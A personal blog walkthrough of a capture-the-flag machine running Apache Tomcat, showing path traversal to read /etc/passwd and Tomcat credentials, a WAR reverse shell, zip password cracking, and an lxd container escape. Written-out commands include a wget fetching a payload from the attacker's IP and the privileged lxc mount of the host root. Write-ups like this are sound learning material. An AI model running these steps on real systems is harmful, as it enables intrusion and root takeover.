As usual, starting off with an nmap scan:
The first thing I did was check out port 8080. Since the challenge has to do with cats, I figure it makes sense that this will play a big role.
Hmm, no idea what to do with this for now. Here’s the main webpage.
I used gobuster on both of them. I don’t think it was helpful in either case, so save yourself the 30 minutes and just don’t, lol.
While those were running, I did a bunch of research on Apache Tomcat since I don’t know much about it.
There aren’t a lot of good YouTube videos, but I did find a bunch of articles. THIS was a good one, and also the official Tomcat page HERE. Anyways, back to the box.
I found that if you click on all the links on the Mega Hosting site, the NEWS link redirects here:
http://megahosting.htb/news.php?file=statement
So if you turn that into:
10.129.24.2/news.php?file=statement
You arrive here:
Interesting.
After exhausting a few other options off the top of my head, I started going through my old blog posts to see if anything stood out. I found this one on LFI (HERE), and figured it would be worth a shot.
Side note: This is actually the main reason I have a blog. I use it to keep track of all my past hacking activities and to remember tools/strategies I used. It’s like a big notebook for me.
The method here was a little different than the old post though. What I ended up doing was making my way through the directories to finally end up here:
OWASP has a good post on directory or path traversal (HERE) that explains how to prevent people from exploiting it.
This should tell us the names of some users on the server. Down at the bottom you can see:
ash:x:1000:1000:clive:/home/ash:/bin/bash
Unfortunately I was not able to get any password hashes at etc/shadow, but at least now we have a username.
Recall the page on 8080. At the bottom it says:
“NOTE: For security reasons, using the manager webapp is restricted to users with role “manager-gui”. The host-manager webapp is restricted to users with role “admin-gui”. Users are defined in /etc/tomcat9/tomcat-users.xml.”
Ash might be the admin, so we can try to read that file and see if we get any more useful information (password hopefully). I just need to find the path to that file.
So in the far reaches of the internet, I managed to find THIS. It tells us exactly where we need to go:
Nothing will come up when you first navigate to it, but view the source and you will find everything you need:
Notice down at the bottom we have found a “secure” password for an admin.
tomcat:$3cureP4s5w0rd123!
You can use these credentials to log in with that “host-manager webapp” link. If you screw up the login though, you’ll have to clear your cookies, so be careful.
Now you should see this:
From here, I started reading about potential exploits for Tomcat 9 via the host manager portal:
According to some of these articles I read, you can use a .WAR reverse shell utilizing msfvenom.
Set up a listener:
Because the host-manager page doesn’t have an area for you to upload this, unlike the normal manager page, you have to do it remotely:
Now, execute the reverse shell:
You should see this connection back in your listener terminal:
Make a better shell for yourself:
Time to explore! Looks like the only other user here is ash, and I still need his/her password:
Eventually, I found a .zip file of interest:
I can send this back to my computer via netcat and then unizip it there. In a new terminal on your end, do the following.
Make sure to use a different port number, because 4444 is busy.
Then back at your reverse shell connection, do the following:
Head back over to your listener. You should see a connection.
Now view your files and you will have it in there.
When you try to extract it you will notice that it needs a password:
You can use a few different tools for this, but today I will use fcrackzip:
So now we have another password, admin@it. Time to unzip that file.
This was actually pretty disappointing, because there is nothing useful in here:
BUT, we did get a password. And it happens to be ash’s password:
From here the user.txt file is very easy to find at /home/ash
After this, if you check out what groups ash is in, you will see one at the end that looks different called lxd:
If you Google that, you can find a few good articles explaining how to use it to your advantage:
HERE is a link to the article I used as a guide. Start on your attacking machine:
Look at your files and you will now see a new alpine file in there. Use SimpleHTTPServer to initiate the transfer to the target machine.
Switch to the target machine now:
wget http://10.10.14.54:8000/alpine-v3.12-x86_64-20201018_2309.tar.gz
Next:
lxc image import ./alpine-v3.12-x86_64–20201018_2309.tar.gz — alias myimage
You can double-check that your image got transferred over:
lxc image list
Use the following commands to enter the image:
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id (to check if it was successful)
From here you can navigate to the root.txt file. Also, I’m not 100% on why the command prompt looks all crazy like that. But…it’s working. Tally ho.
Shout out to Raj Chandel’s Blog, which basically kept me afloat for the root flag portion. Definitely some new territory for me.
Happy Hacking! ❤
